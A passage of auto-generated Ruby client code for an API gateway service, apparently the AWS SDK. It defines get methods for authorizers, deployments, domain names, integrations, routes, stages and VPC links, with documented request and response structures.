# api_id: "__string", # required
# authorizer_id: "__string", # required
# })
#
# @example Response structure
#
# resp.authorizer_credentials_arn #=> String
# resp.authorizer_id #=> String
# resp.authorizer_result_ttl_in_seconds #=> Integer
# resp.authorizer_type #=> String, one of "REQUEST", "JWT"
# resp.authorizer_uri #=> String
# resp.identity_source #=> Array
# resp.identity_source[0] #=> String
# resp.identity_validation_expression #=> String
# resp.jwt_configuration.audience #=> Array
# resp.jwt_configuration.audience[0] #=> String
# resp.jwt_configuration.issuer #=> String
# resp.name #=> String
# resp.authorizer_payload_format_version #=> String
# resp.enable_simple_responses #=> Boolean
#
# @overload get_authorizer(params = {})
# @param [Hash] params ({})
def get_authorizer(params = {}, options = {})
req = build_request(:get_authorizer, params)
req.send_request(options)
end
# Gets the Authorizers for an API.
#
# @option params [required, String] :api_id
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetAuthorizersResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetAuthorizersResponse#items #items} => Array<Types::Authorizer>
# * {Types::GetAuthorizersResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_authorizers({
# api_id: "__string", # required
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].authorizer_credentials_arn #=> String
# resp.items[0].authorizer_id #=> String
# resp.items[0].authorizer_result_ttl_in_seconds #=> Integer
# resp.items[0].authorizer_type #=> String, one of "REQUEST", "JWT"
# resp.items[0].authorizer_uri #=> String
# resp.items[0].identity_source #=> Array
# resp.items[0].identity_source[0] #=> String
# resp.items[0].identity_validation_expression #=> String
# resp.items[0].jwt_configuration.audience #=> Array
# resp.items[0].jwt_configuration.audience[0] #=> String
# resp.items[0].jwt_configuration.issuer #=> String
# resp.items[0].name #=> String
# resp.items[0].authorizer_payload_format_version #=> String
# resp.items[0].enable_simple_responses #=> Boolean
# resp.next_token #=> String
#
# @overload get_authorizers(params = {})
# @param [Hash] params ({})
def get_authorizers(params = {}, options = {})
req = build_request(:get_authorizers, params)
req.send_request(options)
end
# Gets a Deployment.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :deployment_id
#
# @return [Types::GetDeploymentResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetDeploymentResponse#auto_deployed #auto_deployed} => Boolean
# * {Types::GetDeploymentResponse#created_date #created_date} => Time
# * {Types::GetDeploymentResponse#deployment_id #deployment_id} => String
# * {Types::GetDeploymentResponse#deployment_status #deployment_status} => String
# * {Types::GetDeploymentResponse#deployment_status_message #deployment_status_message} => String
# * {Types::GetDeploymentResponse#description #description} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_deployment({
# api_id: "__string", # required
# deployment_id: "__string", # required
# })
#
# @example Response structure
#
# resp.auto_deployed #=> Boolean
# resp.created_date #=> Time
# resp.deployment_id #=> String
# resp.deployment_status #=> String, one of "PENDING", "FAILED", "DEPLOYED"
# resp.deployment_status_message #=> String
# resp.description #=> String
#
# @overload get_deployment(params = {})
# @param [Hash] params ({})
def get_deployment(params = {}, options = {})
req = build_request(:get_deployment, params)
req.send_request(options)
end
# Gets the Deployments for an API.
#
# @option params [required, String] :api_id
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetDeploymentsResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetDeploymentsResponse#items #items} => Array<Types::Deployment>
# * {Types::GetDeploymentsResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_deployments({
# api_id: "__string", # required
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].auto_deployed #=> Boolean
# resp.items[0].created_date #=> Time
# resp.items[0].deployment_id #=> String
# resp.items[0].deployment_status #=> String, one of "PENDING", "FAILED", "DEPLOYED"
# resp.items[0].deployment_status_message #=> String
# resp.items[0].description #=> String
# resp.next_token #=> String
#
# @overload get_deployments(params = {})
# @param [Hash] params ({})
def get_deployments(params = {}, options = {})
req = build_request(:get_deployments, params)
req.send_request(options)
end
# Gets a domain name.
#
# @option params [required, String] :domain_name
#
# @return [Types::GetDomainNameResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetDomainNameResponse#api_mapping_selection_expression #api_mapping_selection_expression} => String
# * {Types::GetDomainNameResponse#domain_name #domain_name} => String
# * {Types::GetDomainNameResponse#domain_name_configurations #domain_name_configurations} => Array<Types::DomainNameConfiguration>
# * {Types::GetDomainNameResponse#mutual_tls_authentication #mutual_tls_authentication} => Types::MutualTlsAuthentication
# * {Types::GetDomainNameResponse#tags #tags} => Hash<String,String>
#
# @example Request syntax with placeholder values
#
# resp = client.get_domain_name({
# domain_name: "__string", # required
# })
#
# @example Response structure
#
# resp.api_mapping_selection_expression #=> String
# resp.domain_name #=> String
# resp.domain_name_configurations #=> Array
# resp.domain_name_configurations[0].api_gateway_domain_name #=> String
# resp.domain_name_configurations[0].certificate_arn #=> String
# resp.domain_name_configurations[0].certificate_name #=> String
# resp.domain_name_configurations[0].certificate_upload_date #=> Time
# resp.domain_name_configurations[0].domain_name_status #=> String, one of "AVAILABLE", "UPDATING"
# resp.domain_name_configurations[0].domain_name_status_message #=> String
# resp.domain_name_configurations[0].endpoint_type #=> String, one of "REGIONAL", "EDGE"
# resp.domain_name_configurations[0].hosted_zone_id #=> String
# resp.domain_name_configurations[0].security_policy #=> String, one of "TLS_1_0", "TLS_1_2"
# resp.mutual_tls_authentication.truststore_uri #=> String
# resp.mutual_tls_authentication.truststore_version #=> String
# resp.mutual_tls_authentication.truststore_warnings #=> Array
# resp.mutual_tls_authentication.truststore_warnings[0] #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
#
# @overload get_domain_name(params = {})
# @param [Hash] params ({})
def get_domain_name(params = {}, options = {})
req = build_request(:get_domain_name, params)
req.send_request(options)
end
# Gets the domain names for an AWS account.
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetDomainNamesResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetDomainNamesResponse#items #items} => Array<Types::DomainName>
# * {Types::GetDomainNamesResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_domain_names({
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].api_mapping_selection_expression #=> String
# resp.items[0].domain_name #=> String
# resp.items[0].domain_name_configurations #=> Array
# resp.items[0].domain_name_configurations[0].api_gateway_domain_name #=> String
# resp.items[0].domain_name_configurations[0].certificate_arn #=> String
# resp.items[0].domain_name_configurations[0].certificate_name #=> String
# resp.items[0].domain_name_configurations[0].certificate_upload_date #=> Time
# resp.items[0].domain_name_configurations[0].domain_name_status #=> String, one of "AVAILABLE", "UPDATING"
# resp.items[0].domain_name_configurations[0].domain_name_status_message #=> String
# resp.items[0].domain_name_configurations[0].endpoint_type #=> String, one of "REGIONAL", "EDGE"
# resp.items[0].domain_name_configurations[0].hosted_zone_id #=> String
# resp.items[0].domain_name_configurations[0].security_policy #=> String, one of "TLS_1_0", "TLS_1_2"
# resp.items[0].mutual_tls_authentication.truststore_uri #=> String
# resp.items[0].mutual_tls_authentication.truststore_version #=> String
# resp.items[0].mutual_tls_authentication.truststore_warnings #=> Array
# resp.items[0].mutual_tls_authentication.truststore_warnings[0] #=> String
# resp.items[0].tags #=> Hash
# resp.items[0].tags["__string"] #=> String
# resp.next_token #=> String
#
# @overload get_domain_names(params = {})
# @param [Hash] params ({})
def get_domain_names(params = {}, options = {})
req = build_request(:get_domain_names, params)
req.send_request(options)
end
# Gets an Integration.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :integration_id
#
# @return [Types::GetIntegrationResult] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetIntegrationResult#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::GetIntegrationResult#connection_id #connection_id} => String
# * {Types::GetIntegrationResult#connection_type #connection_type} => String
# * {Types::GetIntegrationResult#content_handling_strategy #content_handling_strategy} => String
# * {Types::GetIntegrationResult#credentials_arn #credentials_arn} => String
# * {Types::GetIntegrationResult#description #description} => String
# * {Types::GetIntegrationResult#integration_id #integration_id} => String
# * {Types::GetIntegrationResult#integration_method #integration_method} => String
# * {Types::GetIntegrationResult#integration_response_selection_expression #integration_response_selection_expression} => String
# * {Types::GetIntegrationResult#integration_subtype #integration_subtype} => String
# * {Types::GetIntegrationResult#integration_type #integration_type} => String
# * {Types::GetIntegrationResult#integration_uri #integration_uri} => String
# * {Types::GetIntegrationResult#passthrough_behavior #passthrough_behavior} => String
# * {Types::GetIntegrationResult#payload_format_version #payload_format_version} => String
# * {Types::GetIntegrationResult#request_parameters #request_parameters} => Hash<String,String>
# * {Types::GetIntegrationResult#response_parameters #response_parameters} => Hash<String,Hash<String,String>>
# * {Types::GetIntegrationResult#request_templates #request_templates} => Hash<String,String>
# * {Types::GetIntegrationResult#template_selection_expression #template_selection_expression} => String
# * {Types::GetIntegrationResult#timeout_in_millis #timeout_in_millis} => Integer
# * {Types::GetIntegrationResult#tls_config #tls_config} => Types::TlsConfig
#
# @example Request syntax with placeholder values
#
# resp = client.get_integration({
# api_id: "__string", # required
# integration_id: "__string", # required
# })
#
# @example Response structure
#
# resp.api_gateway_managed #=> Boolean
# resp.connection_id #=> String
# resp.connection_type #=> String, one of "INTERNET", "VPC_LINK"
# resp.content_handling_strategy #=> String, one of "CONVERT_TO_BINARY", "CONVERT_TO_TEXT"
# resp.credentials_arn #=> String
# resp.description #=> String
# resp.integration_id #=> String
# resp.integration_method #=> String
# resp.integration_response_selection_expression #=> String
# resp.integration_subtype #=> String
# resp.integration_type #=> String, one of "AWS", "HTTP", "MOCK", "HTTP_PROXY", "AWS_PROXY"
# resp.integration_uri #=> String
# resp.passthrough_behavior #=> String, one of "WHEN_NO_MATCH", "NEVER", "WHEN_NO_TEMPLATES"
# resp.payload_format_version #=> String
# resp.request_parameters #=> Hash
# resp.request_parameters["__string"] #=> String
# resp.response_parameters #=> Hash
# resp.response_parameters["__string"] #=> Hash
# resp.response_parameters["__string"]["__string"] #=> String
# resp.request_templates #=> Hash
# resp.request_templates["__string"] #=> String
# resp.template_selection_expression #=> String
# resp.timeout_in_millis #=> Integer
# resp.tls_config.server_name_to_verify #=> String
#
# @overload get_integration(params = {})
# @param [Hash] params ({})
def get_integration(params = {}, options = {})
req = build_request(:get_integration, params)
req.send_request(options)
end
# Gets an IntegrationResponses.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :integration_id
#
# @option params [required, String] :integration_response_id
#
# @return [Types::GetIntegrationResponseResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetIntegrationResponseResponse#content_handling_strategy #content_handling_strategy} => String
# * {Types::GetIntegrationResponseResponse#integration_response_id #integration_response_id} => String
# * {Types::GetIntegrationResponseResponse#integration_response_key #integration_response_key} => String
# * {Types::GetIntegrationResponseResponse#response_parameters #response_parameters} => Hash<String,String>
# * {Types::GetIntegrationResponseResponse#response_templates #response_templates} => Hash<String,String>
# * {Types::GetIntegrationResponseResponse#template_selection_expression #template_selection_expression} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_integration_response({
# api_id: "__string", # required
# integration_id: "__string", # required
# integration_response_id: "__string", # required
# })
#
# @example Response structure
#
# resp.content_handling_strategy #=> String, one of "CONVERT_TO_BINARY", "CONVERT_TO_TEXT"
# resp.integration_response_id #=> String
# resp.integration_response_key #=> String
# resp.response_parameters #=> Hash
# resp.response_parameters["__string"] #=> String
# resp.response_templates #=> Hash
# resp.response_templates["__string"] #=> String
# resp.template_selection_expression #=> String
#
# @overload get_integration_response(params = {})
# @param [Hash] params ({})
def get_integration_response(params = {}, options = {})
req = build_request(:get_integration_response, params)
req.send_request(options)
end
# Gets the IntegrationResponses for an Integration.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :integration_id
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetIntegrationResponsesResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetIntegrationResponsesResponse#items #items} => Array<Types::IntegrationResponse>
# * {Types::GetIntegrationResponsesResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_integration_responses({
# api_id: "__string", # required
# integration_id: "__string", # required
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].content_handling_strategy #=> String, one of "CONVERT_TO_BINARY", "CONVERT_TO_TEXT"
# resp.items[0].integration_response_id #=> String
# resp.items[0].integration_response_key #=> String
# resp.items[0].response_parameters #=> Hash
# resp.items[0].response_parameters["__string"] #=> String
# resp.items[0].response_templates #=> Hash
# resp.items[0].response_templates["__string"] #=> String
# resp.items[0].template_selection_expression #=> String
# resp.next_token #=> String
#
# @overload get_integration_responses(params = {})
# @param [Hash] params ({})
def get_integration_responses(params = {}, options = {})
req = build_request(:get_integration_responses, params)
req.send_request(options)
end
# Gets the Integrations for an API.
#
# @option params [required, String] :api_id
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetIntegrationsResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetIntegrationsResponse#items #items} => Array<Types::Integration>
# * {Types::GetIntegrationsResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_integrations({
# api_id: "__string", # required
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].api_gateway_managed #=> Boolean
# resp.items[0].connection_id #=> String
# resp.items[0].connection_type #=> String, one of "INTERNET", "VPC_LINK"
# resp.items[0].content_handling_strategy #=> String, one of "CONVERT_TO_BINARY", "CONVERT_TO_TEXT"
# resp.items[0].credentials_arn #=> String
# resp.items[0].description #=> String
# resp.items[0].integration_id #=> String
# resp.items[0].integration_method #=> String
# resp.items[0].integration_response_selection_expression #=> String
# resp.items[0].integration_subtype #=> String
# resp.items[0].integration_type #=> String, one of "AWS", "HTTP", "MOCK", "HTTP_PROXY", "AWS_PROXY"
# resp.items[0].integration_uri #=> String
# resp.items[0].passthrough_behavior #=> String, one of "WHEN_NO_MATCH", "NEVER", "WHEN_NO_TEMPLATES"
# resp.items[0].payload_format_version #=> String
# resp.items[0].request_parameters #=> Hash
# resp.items[0].request_parameters["__string"] #=> String
# resp.items[0].response_parameters #=> Hash
# resp.items[0].response_parameters["__string"] #=> Hash
# resp.items[0].response_parameters["__string"]["__string"] #=> String
# resp.items[0].request_templates #=> Hash
# resp.items[0].request_templates["__string"] #=> String
# resp.items[0].template_selection_expression #=> String
# resp.items[0].timeout_in_millis #=> Integer
# resp.items[0].tls_config.server_name_to_verify #=> String
# resp.next_token #=> String
#
# @overload get_integrations(params = {})
# @param [Hash] params ({})
def get_integrations(params = {}, options = {})
req = build_request(:get_integrations, params)
req.send_request(options)
end
# Gets a Model.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :model_id
#
# @return [Types::GetModelResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetModelResponse#content_type #content_type} => String
# * {Types::GetModelResponse#description #description} => String
# * {Types::GetModelResponse#model_id #model_id} => String
# * {Types::GetModelResponse#name #name} => String
# * {Types::GetModelResponse#schema #schema} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_model({
# api_id: "__string", # required
# model_id: "__string", # required
# })
#
# @example Response structure
#
# resp.content_type #=> String
# resp.description #=> String
# resp.model_id #=> String
# resp.name #=> String
# resp.schema #=> String
#
# @overload get_model(params = {})
# @param [Hash] params ({})
def get_model(params = {}, options = {})
req = build_request(:get_model, params)
req.send_request(options)
end
# Gets a model template.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :model_id
#
# @return [Types::GetModelTemplateResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetModelTemplateResponse#value #value} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_model_template({
# api_id: "__string", # required
# model_id: "__string", # required
# })
#
# @example Response structure
#
# resp.value #=> String
#
# @overload get_model_template(params = {})
# @param [Hash] params ({})
def get_model_template(params = {}, options = {})
req = build_request(:get_model_template, params)
req.send_request(options)
end
# Gets the Models for an API.
#
# @option params [required, String] :api_id
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetModelsResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetModelsResponse#items #items} => Array<Types::Model>
# * {Types::GetModelsResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_models({
# api_id: "__string", # required
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].content_type #=> String
# resp.items[0].description #=> String
# resp.items[0].model_id #=> String
# resp.items[0].name #=> String
# resp.items[0].schema #=> String
# resp.next_token #=> String
#
# @overload get_models(params = {})
# @param [Hash] params ({})
def get_models(params = {}, options = {})
req = build_request(:get_models, params)
req.send_request(options)
end
# Gets a Route.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :route_id
#
# @return [Types::GetRouteResult] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetRouteResult#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::GetRouteResult#api_key_required #api_key_required} => Boolean
# * {Types::GetRouteResult#authorization_scopes #authorization_scopes} => Array<String>
# * {Types::GetRouteResult#authorization_type #authorization_type} => String
# * {Types::GetRouteResult#authorizer_id #authorizer_id} => String
# * {Types::GetRouteResult#model_selection_expression #model_selection_expression} => String
# * {Types::GetRouteResult#operation_name #operation_name} => String
# * {Types::GetRouteResult#request_models #request_models} => Hash<String,String>
# * {Types::GetRouteResult#request_parameters #request_parameters} => Hash<String,Types::ParameterConstraints>
# * {Types::GetRouteResult#route_id #route_id} => String
# * {Types::GetRouteResult#route_key #route_key} => String
# * {Types::GetRouteResult#route_response_selection_expression #route_response_selection_expression} => String
# * {Types::GetRouteResult#target #target} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_route({
# api_id: "__string", # required
# route_id: "__string", # required
# })
#
# @example Response structure
#
# resp.api_gateway_managed #=> Boolean
# resp.api_key_required #=> Boolean
# resp.authorization_scopes #=> Array
# resp.authorization_scopes[0] #=> String
# resp.authorization_type #=> String, one of "NONE", "AWS_IAM", "CUSTOM", "JWT"
# resp.authorizer_id #=> String
# resp.model_selection_expression #=> String
# resp.operation_name #=> String
# resp.request_models #=> Hash
# resp.request_models["__string"] #=> String
# resp.request_parameters #=> Hash
# resp.request_parameters["__string"].required #=> Boolean
# resp.route_id #=> String
# resp.route_key #=> String
# resp.route_response_selection_expression #=> String
# resp.target #=> String
#
# @overload get_route(params = {})
# @param [Hash] params ({})
def get_route(params = {}, options = {})
req = build_request(:get_route, params)
req.send_request(options)
end
# Gets a RouteResponse.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :route_id
#
# @option params [required, String] :route_response_id
#
# @return [Types::GetRouteResponseResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetRouteResponseResponse#model_selection_expression #model_selection_expression} => String
# * {Types::GetRouteResponseResponse#response_models #response_models} => Hash<String,String>
# * {Types::GetRouteResponseResponse#response_parameters #response_parameters} => Hash<String,Types::ParameterConstraints>
# * {Types::GetRouteResponseResponse#route_response_id #route_response_id} => String
# * {Types::GetRouteResponseResponse#route_response_key #route_response_key} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_route_response({
# api_id: "__string", # required
# route_id: "__string", # required
# route_response_id: "__string", # required
# })
#
# @example Response structure
#
# resp.model_selection_expression #=> String
# resp.response_models #=> Hash
# resp.response_models["__string"] #=> String
# resp.response_parameters #=> Hash
# resp.response_parameters["__string"].required #=> Boolean
# resp.route_response_id #=> String
# resp.route_response_key #=> String
#
# @overload get_route_response(params = {})
# @param [Hash] params ({})
def get_route_response(params = {}, options = {})
req = build_request(:get_route_response, params)
req.send_request(options)
end
# Gets the RouteResponses for a Route.
#
# @option params [required, String] :api_id
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @option params [required, String] :route_id
#
# @return [Types::GetRouteResponsesResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetRouteResponsesResponse#items #items} => Array<Types::RouteResponse>
# * {Types::GetRouteResponsesResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_route_responses({
# api_id: "__string", # required
# max_results: "__string",
# next_token: "__string",
# route_id: "__string", # required
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].model_selection_expression #=> String
# resp.items[0].response_models #=> Hash
# resp.items[0].response_models["__string"] #=> String
# resp.items[0].response_parameters #=> Hash
# resp.items[0].response_parameters["__string"].required #=> Boolean
# resp.items[0].route_response_id #=> String
# resp.items[0].route_response_key #=> String
# resp.next_token #=> String
#
# @overload get_route_responses(params = {})
# @param [Hash] params ({})
def get_route_responses(params = {}, options = {})
req = build_request(:get_route_responses, params)
req.send_request(options)
end
# Gets the Routes for an API.
#
# @option params [required, String] :api_id
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetRoutesResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetRoutesResponse#items #items} => Array<Types::Route>
# * {Types::GetRoutesResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_routes({
# api_id: "__string", # required
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].api_gateway_managed #=> Boolean
# resp.items[0].api_key_required #=> Boolean
# resp.items[0].authorization_scopes #=> Array
# resp.items[0].authorization_scopes[0] #=> String
# resp.items[0].authorization_type #=> String, one of "NONE", "AWS_IAM", "CUSTOM", "JWT"
# resp.items[0].authorizer_id #=> String
# resp.items[0].model_selection_expression #=> String
# resp.items[0].operation_name #=> String
# resp.items[0].request_models #=> Hash
# resp.items[0].request_models["__string"] #=> String
# resp.items[0].request_parameters #=> Hash
# resp.items[0].request_parameters["__string"].required #=> Boolean
# resp.items[0].route_id #=> String
# resp.items[0].route_key #=> String
# resp.items[0].route_response_selection_expression #=> String
# resp.items[0].target #=> String
# resp.next_token #=> String
#
# @overload get_routes(params = {})
# @param [Hash] params ({})
def get_routes(params = {}, options = {})
req = build_request(:get_routes, params)
req.send_request(options)
end
# Gets a Stage.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :stage_name
#
# @return [Types::GetStageResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetStageResponse#access_log_settings #access_log_settings} => Types::AccessLogSettings
# * {Types::GetStageResponse#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::GetStageResponse#auto_deploy #auto_deploy} => Boolean
# * {Types::GetStageResponse#client_certificate_id #client_certificate_id} => String
# * {Types::GetStageResponse#created_date #created_date} => Time
# * {Types::GetStageResponse#default_route_settings #default_route_settings} => Types::RouteSettings
# * {Types::GetStageResponse#deployment_id #deployment_id} => String
# * {Types::GetStageResponse#description #description} => String
# * {Types::GetStageResponse#last_deployment_status_message #last_deployment_status_message} => String
# * {Types::GetStageResponse#last_updated_date #last_updated_date} => Time
# * {Types::GetStageResponse#route_settings #route_settings} => Hash<String,Types::RouteSettings>
# * {Types::GetStageResponse#stage_name #stage_name} => String
# * {Types::GetStageResponse#stage_variables #stage_variables} => Hash<String,String>
# * {Types::GetStageResponse#tags #tags} => Hash<String,String>
#
# @example Request syntax with placeholder values
#
# resp = client.get_stage({
# api_id: "__string", # required
# stage_name: "__string", # required
# })
#
# @example Response structure
#
# resp.access_log_settings.destination_arn #=> String
# resp.access_log_settings.format #=> String
# resp.api_gateway_managed #=> Boolean
# resp.auto_deploy #=> Boolean
# resp.client_certificate_id #=> String
# resp.created_date #=> Time
# resp.default_route_settings.data_trace_enabled #=> Boolean
# resp.default_route_settings.detailed_metrics_enabled #=> Boolean
# resp.default_route_settings.logging_level #=> String, one of "ERROR", "INFO", "OFF"
# resp.default_route_settings.throttling_burst_limit #=> Integer
# resp.default_route_settings.throttling_rate_limit #=> Float
# resp.deployment_id #=> String
# resp.description #=> String
# resp.last_deployment_status_message #=> String
# resp.last_updated_date #=> Time
# resp.route_settings #=> Hash
# resp.route_settings["__string"].data_trace_enabled #=> Boolean
# resp.route_settings["__string"].detailed_metrics_enabled #=> Boolean
# resp.route_settings["__string"].logging_level #=> String, one of "ERROR", "INFO", "OFF"
# resp.route_settings["__string"].throttling_burst_limit #=> Integer
# resp.route_settings["__string"].throttling_rate_limit #=> Float
# resp.stage_name #=> String
# resp.stage_variables #=> Hash
# resp.stage_variables["__string"] #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
#
# @overload get_stage(params = {})
# @param [Hash] params ({})
def get_stage(params = {}, options = {})
req = build_request(:get_stage, params)
req.send_request(options)
end
# Gets the Stages for an API.
#
# @option params [required, String] :api_id
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetStagesResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetStagesResponse#items #items} => Array<Types::Stage>
# * {Types::GetStagesResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_stages({
# api_id: "__string", # required
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].access_log_settings.destination_arn #=> String
# resp.items[0].access_log_settings.format #=> String
# resp.items[0].api_gateway_managed #=> Boolean
# resp.items[0].auto_deploy #=> Boolean
# resp.items[0].client_certificate_id #=> String
# resp.items[0].created_date #=> Time
# resp.items[0].default_route_settings.data_trace_enabled #=> Boolean
# resp.items[0].default_route_settings.detailed_metrics_enabled #=> Boolean
# resp.items[0].default_route_settings.logging_level #=> String, one of "ERROR", "INFO", "OFF"
# resp.items[0].default_route_settings.throttling_burst_limit #=> Integer
# resp.items[0].default_route_settings.throttling_rate_limit #=> Float
# resp.items[0].deployment_id #=> String
# resp.items[0].description #=> String
# resp.items[0].last_deployment_status_message #=> String
# resp.items[0].last_updated_date #=> Time
# resp.items[0].route_settings #=> Hash
# resp.items[0].route_settings["__string"].data_trace_enabled #=> Boolean
# resp.items[0].route_settings["__string"].detailed_metrics_enabled #=> Boolean
# resp.items[0].route_settings["__string"].logging_level #=> String, one of "ERROR", "INFO", "OFF"
# resp.items[0].route_settings["__string"].throttling_burst_limit #=> Integer
# resp.items[0].route_settings["__string"].throttling_rate_limit #=> Float
# resp.items[0].stage_name #=> String
# resp.items[0].stage_variables #=> Hash
# resp.items[0].stage_variables["__string"] #=> String
# resp.items[0].tags #=> Hash
# resp.items[0].tags["__string"] #=> String
# resp.next_token #=> String
#
# @overload get_stages(params = {})
# @param [Hash] params ({})
def get_stages(params = {}, options = {})
req = build_request(:get_stages, params)
req.send_request(options)
end
# Gets a collection of Tag resources.
#
# @option params [required, String] :resource_arn
#
# @return [Types::GetTagsResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetTagsResponse#tags #tags} => Hash<String,String>
#
# @example Request syntax with placeholder values
#
# resp = client.get_tags({
# resource_arn: "__string", # required
# })
#
# @example Response structure
#
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
#
# @overload get_tags(params = {})
# @param [Hash] params ({})
def get_tags(params = {}, options = {})
req = build_request(:get_tags, params)
req.send_request(options)
end
# Gets a VPC link.
#
# @option params [required, String] :vpc_link_id
#
# @return [Types::GetVpcLinkResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetVpcLinkResponse#created_date #created_date} => Time
# * {Types::GetVpcLinkResponse#name #name} => String
# * {Types::GetVpcLinkResponse#security_group_ids #security_group_ids} => Array<String>
# * {Types::GetVpcLinkResponse#subnet_ids #subnet_ids} => Array<String>
# * {Types::GetVpcLinkResponse#tags #tags} => Hash<String,String>
# * {Types::GetVpcLinkResponse#vpc_link_id #vpc_link_id} => String
# * {Types::GetVpcLinkResponse#vpc_link_status #vpc_link_status} => String
# * {Types::GetVpcLinkResponse#vpc_link_status_message #vpc_link_status_message} => String
# * {Types::GetVpcLinkResponse#vpc_link_version #vpc_link_version} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_vpc_link({
# vpc_link_id: "__string", # required
# })
#
# @example Response structure
#
# resp.created_date #=> Time
# resp.name #=> String
# resp.security_group_ids #=> Array
# resp.security_group_ids[0] #=> String
# resp.subnet_ids #=> Array
# resp.subnet_ids[0] #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
# resp.vpc_link_id #=> String
# resp.vpc_link_status #=> String, one of "PENDING", "AVAILABLE", "DELETING", "FAILED", "INACTIVE"
# resp.vpc_link_status_message #=> String
# resp.vpc_link_version #=> String, one of "V2"
#
# @overload get_vpc_link(params = {})
# @param [Hash] params ({})
def get_vpc_link(params = {}, options = {})
req = build_request(:get_vpc_link, params)
req.send_request(options)
end
# Gets a collection of VPC links.
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetVpcLinksResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetVpcLinksResponse#items #items} => Array<Types::VpcLink>
# * {Types::GetVpcLinksResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_vpc_links({
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].created_date #=> Time
# resp.items[0].name #=> String
# resp.items[0].security_group_ids #=> Array
